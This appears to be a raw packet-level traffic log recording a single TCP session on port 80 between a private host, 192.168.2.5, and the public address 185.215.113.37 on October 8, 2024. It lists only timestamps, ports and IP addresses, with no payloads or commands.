Oct 8, 2024 05:27:18.991933107 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.991945982 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.991983891 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.014117002 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.014136076 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.014151096 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.014173031 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.014214993 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.014400005 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.014425039 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.014450073 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.014458895 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.014465094 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.014482021 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.014484882 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.014506102 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.014513969 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.014523983 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.014539003 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.014552116 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.014554024 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.014570951 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.014575005 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.014590025 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.014597893 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.014606953 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.014622927 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.014637947 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.014641047 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.014653921 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.014668941 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.014679909 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.014684916 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.014700890 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.014703035 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.014718056 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.014734030 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.014741898 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.014750004 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.014765024 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.014780045 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.014782906 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.014796019 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.014811993 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.014811993 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.014826059 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.014837980 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.014854908 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.014890909 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.015104055 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.015125990 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.015141964 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.015151978 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.015157938 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.015172958 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.015175104 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.015188932 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.015197992 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.015208960 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.015242100 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.015261889 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.015362024 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.015396118 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.015413046 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.015424967 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.015427113 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.015434980 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.015444994 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.015458107 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.015463114 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.015476942 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.015503883 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.015510082 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.015521049 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.015542984 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.015551090 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.015569925 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.015585899 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.015595913 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.015610933 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.015619993 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.015626907 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.015641928 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.015661001 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.015674114 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.015691042 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.015700102 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.015712976 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.015719891 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.015731096 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.015747070 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.015758038 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.015762091 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.015779018 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.015793085 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.015794992 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.015816927 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.015837908 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.078915119 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.078949928 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.078975916 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.078978062 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.078993082 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.079006910 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.079010010 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.079026937 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.079027891 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.079052925 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.079055071 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.079071999 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.079093933 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.079093933 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.079123020 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.079138041 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.079148054 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.079161882 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.079164982 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.079188108 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.079190969 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.079211950 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.079226017 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.079230070 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.079247952 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.079263926 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.079281092 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.079287052 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.079297066 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.079314947 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.079314947 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.079332113 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.079349041 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.079350948 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.079363108 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.079392910 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.079404116 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.079415083 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.079441071 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.079456091 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.079458952 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.079479933 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.079483986 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.079497099 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.079505920 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.079514027 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.079526901 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.079531908 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.079547882 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.079549074 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.079566002 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.079570055 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.079582930 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.079598904 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.079611063 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.079613924 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.079628944 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.079631090 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.079648972 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.079665899 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.079668045 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.079682112 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.079698086 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.079706907 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.079714060 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.079729080 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.079730034 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.079746962 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.079761982 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.079765081 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.079778910 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.079794884 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.079801083 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.079823017 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.079855919 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.080025911 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.080075026 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.080144882 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.080158949 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.080178976 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.080188990 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.080194950 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.080210924 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.080212116 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.080228090 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.080236912 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.080245018 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.080276012 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.080286980 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.080298901 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.080332994 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.080368996 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.080391884 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.080406904 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.080415010 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.080423117 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.080432892 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.080437899 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.080452919 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.080456018 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.080473900 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.080485106 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.080522060 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.102688074 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.102709055 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.102732897 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.102746964 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.102762938 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.102777004 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.102792025 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.102797985 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.102808952 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.102826118 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.102838993 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.102857113 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.102857113 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.102889061 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.102890015 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.102902889 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.102912903 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.102926016 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.102945089 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.102950096 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.102957964 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.102972031 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.102993965 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.102998018 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.103017092 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.103022099 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.103038073 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.103051901 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.103053093 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.103070021 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.103075981 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.103085041 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.103100061 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.103113890 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.103116989 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.103128910 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.103141069 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.103142023 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.103157043 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.103161097 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.103173018 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.103188038 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.103200912 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.103203058 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.103219986 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.103235960 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.103266001 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.103521109 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.103566885 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.103583097 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.103596926 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.103619099 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.103629112 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.103637934 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.103653908 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.103655100 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.103671074 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.103672028 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.103688002 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.103703022 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.103729963 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.103740931 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.103743076 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.103771925 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.103801012 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.103806973 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.103817940 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.103833914 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.103844881 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.103848934 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.103868961 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.103897095 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.103946924 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.103971958 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.103986979 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.103998899 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.104038000 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.104074001 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.104095936 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.104119062 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.104130030 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.104134083 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.104150057 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.104163885 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.104167938 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.104187965 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.104202986 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.104206085 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.104218960 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.104228973 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.104233980 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.104249954 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.104264021 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.104266882 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.104280949 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.104307890 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.104326010 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.167403936 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.167521000 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.167557955 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.167574883 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.167588949 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.167612076 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.167613029 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.167628050 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.167642117 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.167645931 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.167658091 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.167680979 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.167695045 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.167696953 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.167710066 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.167727947 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.167732954 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.167747974 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.167753935 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.167763948 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.167783022 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.167787075 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.167804956 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.167818069 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.167819023 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.167835951 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.167850971 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.167855024 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.167865992 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.167884111 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.167885065 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.167900085 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.167912960 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:19.167916059 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:19.167938948 CEST	80	49706	185.215.113.37	192.168.2.5
